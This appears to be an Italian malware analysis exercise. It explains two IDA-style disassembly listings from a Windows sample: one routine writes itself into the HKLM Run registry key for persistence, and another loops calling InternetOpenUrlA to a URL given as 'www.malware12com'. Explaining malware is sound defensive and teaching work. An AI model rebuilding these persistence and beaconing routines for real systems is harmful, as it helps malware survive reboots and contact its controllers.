Windows Malware

Analizziamo adesso come ottenere informazioni per mezzo di codice assembly circa le istruzioni e chiamate di funzione eseguite dal malware per ottenere persistenza, ossia aggiungere sé stesso ai programmi che devono essere avviati all'avvio del pc per essere eseguiti in modo automatico e permanente.

Qui di seguito il codice da analizzare.

```
)040286F   push    2                 ; samDesired
)0402871   push    eax               ; ulOptions
)0402872   push    offset SubKey     ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877   push    HKEY_LOCAL_MACHINE ; hKey
)040287C   call    esi ; RegOpenKeyExW
)040287E   test    eax, eax
)0402880   jnz     short loc_4028C5
)0402882
)0402882 loc_402882:
)0402882   lea     ecx, [esp+424h+Data]
)0402886   push    ecx               ; lpString
)0402887   mov     bl, 1
)0402889   call    ds:lstrlenW
)040288F   lea     edx, [eax+eax+2]
)0402893   push    edx               ; cbData
)0402894   mov     edx, [esp+428h+hKey]
)0402898   lea     eax, [esp+428h+Data]
)040289C   push    eax               ; lpData
)040289D   push    1                 ; dwType
)040289F   push    0                 ; Reserved
)04028A1   lea     ecx, [esp+434h+ValueName]
)04028A8   push    ecx               ; lpValueName
)04028A9   push    edx               ; hKey
)04028AA   call    ds:RegSetValueExW
```

La chiave di registro usata dai malware per ottenere persistenza è appunto "Software\\Microsoft\Windows\\CurrentVersion\\Run"

Usando e spostandosi con handle HKLM dove sono contenuti record e configurazioni macchina

Infine usando la funzione RegOpenKeyExw per aprire una chiave di registro e modificarla.

In questo caso viene utilizzato un Load effective Address per caricare l'indirizzo vero e proprio della locazione di memoria nel registro, inserendovi un Valuename nuovo (<"lpvaluename" quindi

un void) ed una chiave oggetto handle (hkey) come parametri per la funzione “RegSetValueExw” che aggiungerà il nuovo valore all’interno del registro, settando i rispettivi dati inseriti.

Inoltre tramite codice è possibile identificare il client usato dal malware per connettersi ad internet.

```
text:00401150 ; ||||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
text:00401150
text:00401150
text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
text:00401150                 push    esi
text:00401151                 push    edi
text:00401152                 push    0               ; dwFlags
text:00401154                 push    0               ; lpszProxyBypass
text:00401156                 push    0               ; lpszProxy
text:00401158                 push    1               ; dwAccessType
text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
text:0040115F                 call    ds:InternetOpenA
text:00401165                 mov     edi, ds:InternetOpenUrlA
text:0040116B                 mov     esi, eax
text:0040116D
text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
text:0040116D                 push    0               ; dwContext
text:0040116F                 push    80000000h       ; dwFlags
text:00401174                 push    0               ; dwHeadersLength
text:00401176                 push    0               ; lpszHeaders
text:00401178                 push    offset szUrl    ; "http://www.malware12COM
text:0040117D                 push    esi             ; hInternet
text:0040117E                 call    edi ; InternetOpenUrlA
text:00401180                 jmp     short loc_40116D
text:00401180 StartAddress    endp
text:00401180
```

Utilizzando puntatore a stringa per aprire la lista di server proxy da poter utilizzare per la connessione,

Utilizzando una chiamata ad una funzione compresa nella libreria WinInet.dll, ossia InternetOpenA che serve per inizializzare una connessione verso internet (in blu)

Ed in seguito ottenuta una risposta affermativa, il malware tramite chiamata a InternetOpenUrlA (in rosso) tenta la connessione ad un Url specifico, appunto “www.malware12com